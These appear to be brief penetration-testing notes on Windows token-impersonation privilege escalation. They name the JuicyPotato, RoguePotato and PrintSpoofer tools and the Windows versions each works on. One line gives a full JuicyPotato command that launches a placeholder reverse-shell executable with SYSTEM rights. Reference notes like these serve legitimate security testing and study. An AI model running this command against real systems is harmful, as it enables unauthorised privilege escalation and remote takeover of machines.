Token Impersonation

Requires SeImpersonatePrivilege

JuicyPotato

Works on Windows 7, 8, early versions of 10 and server counterparts.

.\JuicyPotato.exe -l 1337 -p <revshell.exe> -t * -c <CLSID>

CLSID is for a given Windows version and can be checked on JuicyPotato github page.

RoguePotato

Works on newer Windows 10 versions.

RoguePotato

RoguePotato Ref

PrintSpoofer

PrintSpoofer

PrintSpoofer Ref